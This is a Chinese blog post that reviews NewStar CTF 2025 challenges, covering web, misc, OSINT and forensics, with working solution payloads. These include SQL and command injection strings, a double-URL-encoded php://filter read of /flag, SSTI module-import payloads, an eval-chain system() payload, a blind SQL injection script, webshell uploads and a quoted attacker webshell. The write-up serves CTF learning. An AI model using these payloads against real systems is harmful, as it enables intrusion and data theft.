前言 最近搭建好了这个博客,这也是2026年写的的第一篇博客,决定复盘一下今年的newstar,复现平台https://ctf.xidian.edu.cn。
题目难度由易到难从中也是学到了很多东西。这证书真的非常好,拆包裹跟当时拆大学录取通知书一样,而且还包邮。
week1 web multi-headach3 题目提示
什么叫机器人控制了我的头?
访问robots.txt
直接在浏览器访问hidden.php会自动跳转到index.php,抓包就行了
strange_login 万能密码一把梭
1’ or true#
别笑,你也过不了第二关 进去发现数一个小游戏,分析前端代码,当通关所有关卡(当前代码只有 2 关)后,会向 /flag.php POST 提交 score 参数然后回显flag,写一个代码在控制台执行了一下就行了
代码如下
1 2 3 4 5 6 7 8 // 强制设置分数为第二关目标值 score = 1000000; // 切换到第二关(最终关) currentLevel = 1; // 关闭游戏定时器防止干扰 if (gateInterval) clearInterval(gateInterval); // 手动触发关卡结束逻辑,直接请求flag.php endLevel();
宇宙的中心是 PHP 进去是一个动态页面,尝试后发现不能够ctrl+U看网页代码,我这里用的是IE,ctrl+shift+I,打开开发者工具
访问s3kret.php
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file(__FILE__); include "flag.php"; if(isset($_POST['newstar2025'])){ $answer = $_POST['newstar2025']; if(intval($answer)!=47&&intval($answer,0)==47){ echo $flag; }else{ echo "你还未参透奥秘"; } }
首先是post传参,然后参数的值要满足两个条件,
1 intval($answer)!=47&&intval($answer,0)==47
intval是php用于将变量转换为 整数 的函数,第二个参数是控制进制转换,题目中用0,就是自动根据字符串前缀来推测进制
构造payload
newstar2025=0x2f (47的十六进制)
十进制解析 ≠ 47,自动进制解析 = 47
我真得控制你了 这个还是老方法打开开发者工具看到前端代码,这个按钮是disable属性的,我们要带点击这个按钮,ai写一个代码就行了,一步到位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // 核心:移除禁用 + 显示按钮 + 移除遮罩 const btn = document.getElementById('accessButton'); // 1. 移除disabled属性(解除禁用) btn.disabled = false; btn.removeAttribute('disabled'); // 2. 确保按钮可见(防止样式隐藏) btn.style.pointerEvents = 'auto'; btn.style.opacity = '1'; btn.style.cursor = 'pointer'; // 3. 移除遮罩层(如果有) const shield = document.getElementById('shieldOverlay'); if (shield) { shield.remove(); // 直接删除遮罩 // 或隐藏遮罩(推荐,避免布局乱):shield.style.display = 'none'; } // 4. 主动触发一次点击(可选,解锁后直接点) btn.click();
然后就是弱口令爆破
admin/111111,登入得到代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting(0); function generate_dynamic_flag($secret) { return getenv("ICQ_FLAG") ?: 'default_flag'; } if (isset($_GET['newstar'])) { $input = $_GET['newstar']; if (is_array($input)) { die("恭喜掌握新姿势"); } if (preg_match('/[^\d*\/~()\s]/', $input)) { die("老套路了,行不行啊"); } if (preg_match('/^[\d\s]+$/', $input)) { die("请输入有效的表达式"); } $test = 0; try { @eval("\$test = $input;"); } catch (Error $e) { die("表达式错误"); } if ($test == 2025) { $flag = generate_dynamic_flag($flag_secret); echo "<div class='success'>拿下flag!</div>"; echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>"; } else { echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>"; } } else { ?> <?php } ?>
接收 GET 参数newstar,需满足:
非数组类型;
仅包含 数字、*、/、~、()、空格 这些字符;
不能只有数字和空格(必须是表达式);
通过eval执行表达式后结果等于 2025,即可输出 flag
那就同取反
?newstar=(2025)
取反两次还是2025
黑客小 W 的故事(1) 首先第一关就是要打怪获得积分,但是过程中会被古神单杀,提示抓包,抓包看一下,看到传入{“count” :1 },直接改为800放包
进入下一关,通过get传参?shipin=mogubaozi就可以看到蘑菇先生具体说了什么,然后post传参,参数名为guding,得到要用DELETE删掉chognzi,修改数据包
我们需要guding,
进入下一关,根据提示要在ua中修改,使用CycloneSlash
然后还有冲锋斩
最后一关的入口/Level4_Sly
misc Sign in 签到题
flag{Welcome_to_NewStar_CTF_2025!}
EZ_fence 题目提示
RAR 发现一张残缺的照片竟然需 要 4 颗钉子才能钉住,照片里面似乎藏着秘密。
提取信息:fence就是栅栏,rar,残却图片,4
附件信息是rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB
随波逐流分析发现有隐藏的rar文件,提取出来得到一个加密的文件,残缺的图片,考虑宽高隐写,然后得到隐藏信息
8426513709qazwsxedcrfvtgbyhnujmikoplQWSAERFDYHGUIKJOPLMNBVCXZ-_
这一共是64个字符,可以作为一个base64自定义码表,那上面rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB栅栏4解密
rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz=
符合base64特征,可以看到解码时乱码,因为用的是默认的码表,这里替换为题目给的码表
解压文件得到flag
flag{y0u_kn0w_ez_fence_tuzh0ng}
Misc 城邦:压缩术 首先根据题目提示密码长度是6位,小写字母和数字,开始爆破密码
ns2025
解压后看提示,没有密码还有输入密码,就是伪加密,随波逐流修复一下,然后得到一个压缩包,一个文件,压缩包有一个加密的key.txt,这就是明文攻击了,爆破密码d00rkey
解压得到flag
flag{You_have_mastered_the_zip_magic!}
OSINT:天空 belong flag格式
flag{航班号_照片拍摄时所在省份的省会城市_拍摄设备的制造商},制造商为英文(首字母大写)
首先看附件信息,查看属性
可以看到制造商是Xiaomi,拍摄日期是2025年8月17日15:03,分析图片机翼,有飞机的注册号B-7198,查询当天航班
拍摄时间是15:03,符合要求的航班只有乌鲁木齐航空UQ3574,
拍摄日期距离航班结束非常接近,那么就是武汉,最后flag
flag{UQ3574_武汉市_Xiaomi}
前有文字,所以搜索很有用 题目分为3关,先看第一关,文件描述的是零宽字符,就是零宽隐写,使用pazzlesolver
ZmxhZ3t5b3Vf,base64解码flag{you_
然后第二关
看到附件名字考察的就是snow隐写,然后密钥,密钥考察的是brainfuck隐写
密钥是brainfuckisgooooood
然后题目还有提示
Track2 的隐藏数据并没有被压缩,请不要使用 -C.
—– …- …– .-. -.-. ….- – . ..–.-一眼摩斯密码
0V3RC4ME_
最后一关字频分析
cH@1LenG3s}
最后的flag
flag{you_0V3RC4ME_cH@1LenG3s}
我不要革命失败 这里用windbg分析,执行命令!analyze -v,!process把信息直接让ai分析就行了
flag{CRITICAL_PROCESS_DIED_svchost.exe}
week2 web DD 加速器 一个经典的rce,使用分号进行命令注入
127.0.0.1;cat /f*
查看环境变量
127.0.0.1;env
小 E 的管理系统 这个当时比赛是没写出来,对sqlite了解的太少了.一看这个输入框就是sql注入,首先判断是字符型还是数字型,尝试id=1’发现有waf,id=1+1,发现回显2,证明是数字型
抓包看信息
发现返回有5列,刚才尝试的时候知道题目是存在waf的,fuzz测试一下看看过滤了那些字符
过滤了空格,引号,加号,逗号等等。
判断列数,用%0a或者%09替换空格
判断查讯列数为5,然后看数据库
对于sqlite来说是没有库这个概念的,直接对象就是表,所以这个不是mysql,是sqlite。看回显位,用join绕过逗号,用cyberchef可以快速替换空格,比较方便
-1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select 5)e
都是回显位那就开始查表
?id=-1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d%0ajoin%0a(select%0asql%0afrom%0asqlite_master)e
这里得到3个表,flag大概率在sys_config(豆包说的),继续往下查
sys_config表中的列有
id:主键(自增)
- config_key:配置项名称(唯一)
- `id:主键(自增)
config_key:配置项名称(唯一)
config_value:配置项值(TEXT 类型)
这里查config_value
-1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select config_value from sys_config)e
搞点哦润吉吃吃🍊 前端登入页面源码给了登入用户和密码
登入进入
抓包获得信息
然后写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import requests def auto_challenge(): base_url = "url" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36", "Content-Type": "application/json", "Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjo0fQ.GDy5KyvNcRbDteUjPwoPvI8KbIR9FNHsdpckUJOgu28; session=.eJxNy0EKwyAQQNG7zNpFTRNlXPceIs1ghYmGyQiFkLs33bn-_53w_iRmqpni1lnLzoUEAiLODzPEQ5No1LIRBOudfy6zdX48vu12dkJnHU4GuOVMaywVgkonA_0gqenv4dWkwfUDUdspYw.aVevNw.OHVrR2Vg6tWXY_IdLHjIUon4ruw" } session = requests.Session() session.headers.update(headers) try: # 1. 启动挑战 start_response = session.post(f"{base_url}/start_challenge") if start_response.status_code != 200: print(f"[-] 请求失败: {start_response.status_code}") return # 2. 获取新的session cookie new_session_cookie = None if 'Set-Cookie' in start_response.headers: set_cookie = start_response.headers['Set-Cookie'] if 'session=' in set_cookie: new_session_cookie = set_cookie.split('session=')[1].split(';')[0] session.cookies.set('session', new_session_cookie) start_data = start_response.json() if "error" in start_data: print(f"[-] 错误: {start_data['error']}") return # 3. 获取表达式并计算token expression = start_data.get("expression", "") if not expression or "token =" not in expression: print("[-] 没有找到有效的 token 表达式") return calc_expr = expression.split("token =")[1].strip() # 使用 eval 来计算表达式 try: token = eval(calc_expr) # 计算表达式 except Exception as e: print(f"[-] 计算 token 出错: {e}") return # 4. 提交验证 submit_data = {"token": int(token)} submit_headers = {"Cookie": f"session={new_session_cookie}"} if new_session_cookie else headers submit_response = session.post(f"{base_url}/verify_token", json=submit_data, headers=submit_headers) # 输出验证结果 print(submit_response.text) except Exception as e: print(f"错误: {e}") if __name__ == "__main__": auto_challenge()
代码逻辑
启动挑战 :通过发送一个 POST 请求到 /start_challenge,启动挑战。
获取新的 session cookie :从响应中提取新的 session cookie(如果有),并更新请求的 session。
计算 Token :从服务器响应中提取挑战的表达式,计算出 token。
提交验证 :将计算出的 token 提交到服务器进行验证,并打印响应结果
白帽小 K 的故事(1) 根据提示看接口, /v1/list 接口,发现已有文件,/v1/onload 读取文件,/v1/upload可以上传文件,先读取文件看看
服务器将 MP3 文件(star.mp3)当作 PHP 脚本解析执行,那这就是突破口。我们可以写入恶意文件进去,当php脚本解析执行获得webshell,先上🐎
虽然上传成功了,但是列表没有c.php,那还上传mp3文件,
可以看到脚本被执行了,在根目录有flag
在传一个执行cat /flag就行了
真的是签到诶 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file(__FILE__); $cipher = $_POST['cipher'] ?? ''; function atbash($text) { $result = ''; foreach (str_split($text) as $char) { if (ctype_alpha($char)) { $is_upper = ctype_upper($char); $base = $is_upper ? ord('A') : ord('a'); $offset = ord(strtolower($char)) - ord('a'); $new_char = chr($base + (25 - $offset)); $result .= $new_char; } else { $result .= $char; } } return $result; } if ($cipher) { $cipher = base64_decode($cipher); $encoded = atbash($cipher); $encoded = str_replace(' ', '', $encoded); $encoded = str_rot13($encoded); @eval($encoded); exit; } $question = "真的是签到吗?"; $answer = "真的很签到诶!"; $res = $question . "<br>" . $answer . "<br>"; echo $res . $res . $res . $res . $res; ?>
代码post传参经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import base64 def atbash(text): """Atbash 解密:字母反转""" result = '' for char in text: if char.isalpha(): base = 'A' if char.isupper() else 'a' offset = ord(char.lower()) - ord('a') new_char = chr(ord(base) + (25 - offset)) result += new_char else: result += char return result def rot13(text): """ROT13 解密:字母移位13位""" result = [] for char in text: if char.isalpha(): shift = 13 if char.islower() else -13 result.append(chr(((ord(char) - ord('a') + shift) % 26) + ord('a')) if char.islower() else chr(((ord(char) - ord('A') + shift) % 26) + ord('A'))) else: result.append(char) return ''.join(result) def process_payload(payload): """按顺序解密并执行""" # 1. 进行 Base64 解码 decoded = base64.b64decode(payload).decode('utf-8') print(f"Base64 解码后: {decoded}") # 2. 进行 Atbash 解密 atbash_decrypted = atbash(decoded) print(f"Atbash 解密后: {atbash_decrypted}") # 3. 去空格 atbash_decrypted_no_spaces = atbash_decrypted.replace(' ', '') print(f"去空格后: {atbash_decrypted_no_spaces}") # 4. 进行 ROT13 解密 rot13_decrypted = rot13(atbash_decrypted_no_spaces) print(f"ROT13 解密后: {rot13_decrypted}") return rot13_decrypted # --- 生成 Payload --- code = "system('ls%20/');" # PHP 代码 # 生成 payload - 按顺序加密 rot13_encoded = rot13(code) # ROT13 加密 atbash_encoded = atbash(rot13_encoded) # Atbash 加密 payload = base64.b64encode(atbash_encoded.encode('utf-8')).decode('utf-8') # Base64 编码 print(f"原始代码: {code}") print(f"ROT13 加密: {rot13_encoded}") print(f"Atbash 加密: {atbash_encoded}") print(f"最终 Payload: {payload}") print(f"POST 数据: cipher={payload}") # --- 验证过程 --- print("\n=== 验证过程 ===") decoded = base64.b64decode(payload).decode('utf-8') print(f"Base64 解码: {decoded}") atbash_decrypted = atbash(decoded) print(f"Atbash 解密: {atbash_decrypted}") no_spaces = atbash_decrypted.replace(' ', '') print(f"去除空格: {no_spaces}") rot13_decrypted = rot13(no_spaces) print(f"ROT13 解密: {rot13_decrypted}") print("最终执行: ", rot13_decrypted)
这里注意用$IFS替换空格,因为代码在解密中会移除空格最后执行的是system(‘cat/flag’);最后payload
system(‘cat$IFS/flag’);
cipher=dW91dGlhKCdrbXQkRUhVL2hibWcnKTs=
misc Misc 城邦:NewKeyboard 参考文章:https://xz.aliyun.com/news/19240
这个当时也没写出来,赛后看大佬wp才知道第一个流量包的名字要用来做某种映射的
先提取数据然后根据是否按下shift建立普通映射和shift映射两个字典。然后将提取到的按键bit转换为对应的字符,按照前面的文件名做映射即可得到flag
大佬脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 import subprocess from pathlib import Path from typing import Dict, List, Set, Tuple REFERENCE_PCAP = Path("abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng") TARGET_PCAP = Path("newkeyboard.pcapng") REFERENCE_CHARS = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}" def extract_reports(pcap_path: Path) -> List[Set[int]]: """ 调用 tshark 抽取 usbhid.data 字段并转换成按键 bit 集合序列。 Args: pcap_path: pcap文件路径 Returns: 包含每个报告中按键bit集合的列表 """ cmd = [ "tshark", "-r", str(pcap_path), "-Y", "usbhid.data", "-T", "fields", "-e", "usbhid.data", ] try: output = subprocess.check_output(cmd, text=True, stderr=subprocess.DEVNULL) except subprocess.CalledProcessError as e: raise RuntimeError(f"tshark命令执行失败: {e}") reports = [] for line in output.splitlines(): line = line.strip() if not line: continue try: payload = bytes.fromhex(line)[1:] # 跳过报告 ID bits = set() for byte_index, value in enumerate(payload): for bit in range(8): if value & (1 << bit): bits.add(byte_index * 8 + bit) reports.append(bits) except ValueError as e: print(f"警告: 无法解析行 '{line}': {e}") continue return reports def build_mapping(reference_reports: List[Set[int]], charset: str) -> Tuple[Dict[int, str], Dict[int, str]]: """ 根据参考流量生成未按/按下 Shift 的键位映射。 Args: reference_reports: 参考报告数据 charset: 字符集 Returns: 包含未按Shift和按下Shift的键位映射的元组 """ unshift_map, shift_map = {}, {} prev = set() idx = 0 for bits in reference_reports: pressed = bits - prev # 过滤掉修饰键(bit1代表左Shift) non_modifier_keys = [b for b in pressed if b != 1] if non_modifier_keys and idx < len(charset): key = non_modifier_keys[0] char = charset[idx] idx += 1 if 1 in bits: # 检查是否按下了Shift键 shift_map[key] = char else: unshift_map[key] = char prev = bits return unshift_map, shift_map def decode_reports( target_reports: List[Set[int]], unshift_map: Dict[int, str], shift_map: Dict[int, str] ) -> str: """ 使用映射表还原目标流量中的按键序列。 Args: target_reports: 目标报告数据 unshift_map: 未按Shift的键位映射 shift_map: 按下Shift的键位映射 Returns: 解码后的字符串 """ prev = set() chars = [] for bits in target_reports: pressed = bits - prev # 过滤掉修饰键 non_modifier_keys = [b for b in pressed if b != 1] if non_modifier_keys: key = non_modifier_keys[0] if 1 in bits: # 检查是否按下了Shift键 chars.append(shift_map.get(key, f"<UNK_SHIFT_{key}>")) else: chars.append(unshift_map.get(key, f"<UNK_{key}>")) prev = bits return "".join(chars) def main() -> None: """主函数,执行解码流程""" try: print("正在提取参考报告数据...") ref_reports = extract_reports(REFERENCE_PCAP) print("正在构建键位映射...") unshift_map, shift_map = build_mapping(ref_reports, REFERENCE_CHARS) print("正在提取目标报告数据...") target_reports = extract_reports(TARGET_PCAP) print("正在解码按键序列...") text = decode_reports(target_reports, unshift_map, shift_map) print("\n解码结果:") print(text) except Exception as e: print(f"错误: {e}") return if __name__ == "__main__": main()
flag{th1s_is_newkeyboard_y0u_get_it!}
美妙的音乐 Audacity打开题目附件即可看到flag,就是有点费眼
flag{thi5_1S_m1Di_5tEG0}
日志分析:不敬者的闯入 分析日志发现多次访问/admin,
看webshell
1 <?php eavl($_POST['flag{12c564e1-1cc6-0f12-e7bd-bf2bad38a078}'])?>
星期四的狂想 过滤http请求看流量包,在tcp流38发现加密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php echo "Hello, world!"; $flag = base64_encode(file_get_contents("/flag")); $hahahahahaha = ''; foreach (str_split($flag, 10) as $part) { if (rand(0, 1)) { $part = strrev($part); } else { $part = str_rot13($part); } $hahahahahaha .= $part; } $GLOBALS['ThURSDAY'] = $hahahahahaha; function code($x) { return "Cookie: token=" . base64_encode($x); } ?>
上传 PHP 文件后的二次利用请求,核心是触发crazy.php执行并获取关键数据,数据中的token就是混淆后的 flag 的 Base64 编码
写一个脚本解密token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import base64 import codecs from itertools import product # 你的 token(从抓包中复制) token = "R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==" # 第一步:base64 解码 token,得到混淆后的字符串 mixed_flag = base64.b64decode(token).decode('utf-8', errors='ignore') # 防止异常中断 print("[+] Token 解码后混淆字符串:") print(mixed_flag) print("=" * 60) # 第二步:每 10 个字符一组分割(你的有 6 组) chunks = [mixed_flag[i:i+10] for i in range(0, len(mixed_flag), 10)] print(f"[+] 分割成 {len(chunks)} 组:") for i, c in enumerate(chunks): print(f" 第{i+1}块: {c}") print("=" * 60) # 第三步:暴力枚举每块是 ROT13 还是反转(2^6 = 64 种可能,瞬间跑完) print("[*] 开始暴力枚举所有组合(共 64 种)...") for choices in product([0, 1], repeat=len(chunks)): # 0=反转, 1=ROT13 restored = [] for i, choice in enumerate(choices): part = chunks[i] if choice == 1: # ROT13 processed = codecs.decode(part, 'rot13') else: # 反转 processed = part[::-1] restored.append(processed) candidate_b64 = ''.join(restored) # 尝试 base64 解码 try: flag_bytes = base64.b64decode(candidate_b64) flag = flag_bytes.decode('utf-8') # 判断是否是合理的 flag(包含 flag{ 开头) if flag.startswith("flag{") or "flag" in flag.lower(): print("🎉🎉🎉 成功找到正确组合!🎉🎉🎉") print(f"恢复方式: {' | '.join(['ROT13' if c else '反转' for c in choices])}") print(f"Flag: {flag}") exit() # 找到就退出 except: pass # 非法 base64,继续尝试 print("[-] 未找到有效 flag,可能 token 已过期或题目环境变化")
OSINT:威胁情报 使用奇安信的威胁分析平台https://ti.qianxin.com/分析附件hash值
flag{APT组织名称_通信C2服务器域名_恶意文件编译时间(年-月-日)}
APT组织名:Kimsuky
通信C2服务器域名:alps.travelmountain.ml
查看样本分析详情
flag{kimsuky_alps.travelmountain.ml_2021-03-31}
week3 web MyGO!!! 首先扫目录有flag.php
访问得到代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php $client_ip = $_SERVER['REMOTE_ADDR']; // 只允许本地访问 if ($client_ip !== '127.0.0.1' && $client_ip !== '::1') { header('HTTP/1.1 403 Forbidden'); echo "你是外地人,我只要\"本地\"人"; exit; } highlight_file(__FILE__); if (isset($_GET['soyorin'])) { $url = $_GET['soyorin']; echo "flag在根目录"; // 普通请求 $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // 直接输出给浏览器 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192); curl_exec($ch); curl_close($ch); exit; } ?>
首先校验客户端 IP,只有127.0.0.1(IPv4 本地回环)和::1(IPv6 本地回环)能访问,外部 IP 会返回 403 禁止访问,后面一眼考察的是ssrf,由于这里环境跟比赛平台不一样,能够直接用file协议读文件
ez-chain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php header('Content-Type: text/html; charset=utf-8'); function filter($file) { $waf = array('/',':','php','base64','data','zip','rar','filter','flag'); foreach ($waf as $waf_word) { if (stripos($file, $waf_word) !== false) { echo "waf:".$waf_word; return false; } } return true; } function filter_output($data) { $waf = array('f'); foreach ($waf as $waf_word) { if (stripos($data, $waf_word) !== false) { echo "waf:".$waf_word; return false; } } while (true) { $decoded = base64_decode($data, true); if ($decoded === false || $decoded === $data) { break; } $data = $decoded; } foreach ($waf as $waf_word) { if (stripos($data, $waf_word) !== false) { echo "waf:".$waf_word; return false; } } return true; } if (isset($_GET['file'])) { $file = $_GET['file']; if (filter($file) !== true) { die(); } $file = urldecode($file); $data = file_get_contents($file); if (filter_output($data) !== true) { die(); } echo $data; } highlight_file(__FILE__); ?>
分析代码得到有两层waf
1.禁止文件名中包含以下字符 / 关键词(不区分大小写):/、:、php、base64、data、zip、rar、filter、flag;
2.文件原始内容不能包含字符f(不区分大小写,比如F、flag、file都会触发);第二层检测:对内容做循环 base64 解码 (直到无法解码),解码后的内容也不能包含f;
这里输入和输出都有检测,而且不能用base64编码读文件了,可以用rot13编码绕过,而且这一题是先检查payload,然后又url解码,再读取文件,paylaod进行url编码不就绕过了第一层waf了,由于浏览器还要解码一次,这里用双重url编码,字母也要编码
php://filter/read=string.rot13/resource=/flag
%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567
再rot13解码得到flag
mirror_gate 考察的文件上传,在源码有提示
1 2 <!-- flag is in flag.php --> <!-- HINT: c29tZXRoaW5nX2lzX2luXy91cGxvYWRzLw== -->
base64解码得到提示
something_is_in_/uploads/
先扫一下目录
根据提示扫一下uploads目录
文件内容
1 AddType application/x-httpd-php .webp
Apache 把.webp后缀的文件当作 PHP 脚本解析执行,这直接传webshell文件就行了
直接写入一句话木马发现有过滤
这里使用短标签+反引号绕过
who’ssti 分析题目附件就是要调用题目给的5个函数。
1 {{ lipsum(1, False, 100, 200) }}
1 {{lipsum.__globals__.__builtins__.__import__('statistics').fmean([1.5,2.5,3.5])}}
1 {{ config.__class__.__init__.__globals__['__builtins__'].__import__('numpy').sum([1,2,3,4,5]) }}
1 {{ config.__class__.__init__.__globals__['__builtins__'].__import__('re').search('test', 'test string') }}
1 {{ config.__class__.__init__.__globals__['__builtins__'].__import__('re').findall('t', 'test') }}
小 E 的秘密计划 首先看提示找备份文件,考察git泄露。先扫目录
解压得到git文件,然乎就是Git历史记录挖掘
有新增提示,查看一下
提示有一个tips.txt,文件内容是‘什么是branch’.
查看被删除的分支
发现有登入账户密码,同目录下的index.html是一个登入界面,路径是public-555edc76-9621-4997-86b9-01483a50293e/index.html
访问一下输入账户密码
mac泄露就是.DS_Store,直接在url输入就可以下载文件,写一个脚本读取文件内容
1 2 3 4 5 6 7 8 9 10 11 from ds_store import DSStore try: with open(r'E:\新建文件夹\DS_Store', 'rb') as f: d = DSStore.open(f) print("文件解析成功,包含以下文件名:") for filename in d: print(filename) d.close() except Exception as e: print(f"解析失败: {e}")
白帽小K的故事(2) 这个考察盲注,还有waf,这里参考大佬脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requests base_url = "https://eci-2ze8n93nw77v9guud8x3.cloudeci1.ichunqiu.com:80/search" result = "" i = 0 while True: i += 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 # 使用整数除法 # 根据需要切换payload #payload="select(group_concat(schema_name))from`information_schema`.`schemata`" #payload = "sElect(group_concat(table_name))FRom`infOrmation_schema`.`tables`Where(table_schema='Flag')" #payload = "sElect(group_concat(column_name))FRom`infOrmation_schema`.`columns`Where(table_name='flag')" payload = "sElect(group_concat(flag))FRom(Flag.flag)" # 构造正确的URL字符串(注意去掉了末尾逗号) data = {"name":f"amiya'And(Ord(sUbstr(({payload}),{i},1))>{mid})#"} r = requests.post(url=base_url,data=data) try: resp = r.json() is_true = (resp.get('message') == 'Found') except Exception: is_true = ('Found' in r.text) if is_true: head = mid + 1 else: tail = mid if head != 32: result += chr(head) print(f"[+] 当前结果: {result}") else: print(f"[+] 当前结果: {result}")
misc 内存取证:Windows 篇 使用lovelymem分析,导入镜像文件后,在系统信息中找到主机名称
ARISAMIK
使用mimikatz功能获取主机的登入密码
密码是admin123。
接下来找外连ip和端口,那就需要查看网络连接情况
如图分析整个网络谅解情况只有其中192.168.20.131:49158与远程 IP125.216.248.74:11451处于ESTABLISHED状态(LISTENING= 等待连接,ESTABLISHED= 已建立通信,CLOSED= 已关闭),说明当前正在和该远程地址通信。那个这个125.216.248.74:11451就是恶意外联的ip和端口。
那个恶意进程的所在的文件夹就是svchost.exe所在的文件夹,这个时候看命令行注意进程id
可以看到文件路径是
C:\Windows\Temp\svchost.exe,所在文件夹就是temp
或者将进程内存数据导出分析,导出后010打开,也能够找到路径
综上本题flag为
flag{125.216.248.74:11451_temp_admin123_arisamik}
流量分析:S7 的秘密 ctfNETA直接分析
直接提交是不对的,猜测flag是这个字符串的某种排列组合,先写一个脚本列举几种常见的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 def reverse_string(s): """字符串整体倒序""" return s[::-1] def group_reverse(s, group_size): """按指定长度分组,每组内部倒序后拼接""" groups = [s[i:i+group_size] for i in range(0, len(s), group_size)] reversed_groups = [g[::-1] for g in groups] return ''.join(reversed_groups) def case_unify(s, mode='lower'): """统一字符大小写:lower(全小写) / upper(全大写)""" if mode == 'lower': return s.lower() elif mode == 'upper': return s.upper() return s def keyboard_shift(s, shift=1): """模拟键盘相邻键移位(基于美式键盘字母区)""" keyboard = 'qwertyuiopasdfghjklzxcvbnm' keyboard += keyboard.upper() # 加入大写字母 result = [] for c in s: if c in keyboard: idx = keyboard.index(c) new_idx = (idx + shift) % len(keyboard) result.append(keyboard[new_idx]) else: result.append(c) # 非字母字符保留 return ''.join(result) def try_all_strategies(ciphertext): """尝试所有常见重组策略,输出结果""" strategies = [ ("原字符串", ciphertext), ("全小写", case_unify(ciphertext, 'lower')), ("全大写", case_unify(ciphertext, 'upper')), ("整体倒序", reverse_string(ciphertext)), ("小写+整体倒序", reverse_string(case_unify(ciphertext, 'lower'))), ("分组4个字符倒序", group_reverse(ciphertext, 4)), ("分组3个字符倒序", group_reverse(ciphertext, 3)), ("键盘右移1位", keyboard_shift(ciphertext, 1)), ("键盘左移1位", keyboard_shift(ciphertext, -1)) ] print("===== 字符重组尝试结果 =====") for name, res in strategies: print(f"{name:15}: {res}") # 额外尝试:拆分大小写字母后重组(CTF常见套路) upper_chars = [c for c in ciphertext if c.isupper()] lower_chars = [c for c in ciphertext if c.islower()] symbols = [c for c in ciphertext if not c.isalpha()] print("\n===== 按大小写/符号拆分后重组 =====") print(f"大写字母序列: {''.join(upper_chars)}") print(f"小写字母序列: {''.join(lower_chars)}") print(f"符号序列: {''.join(symbols)}") print(f"大写+小写+符号拼接: {''.join(upper_chars + lower_chars + symbols)}") print(f"小写+大写+符号拼接: {''.join(lower_chars + upper_chars + symbols)}") # 你的密文字符串 ciphertext = "IpOtatn!oITrm_i" # 执行所有破解尝试 try_all_strategies(ciphertext)
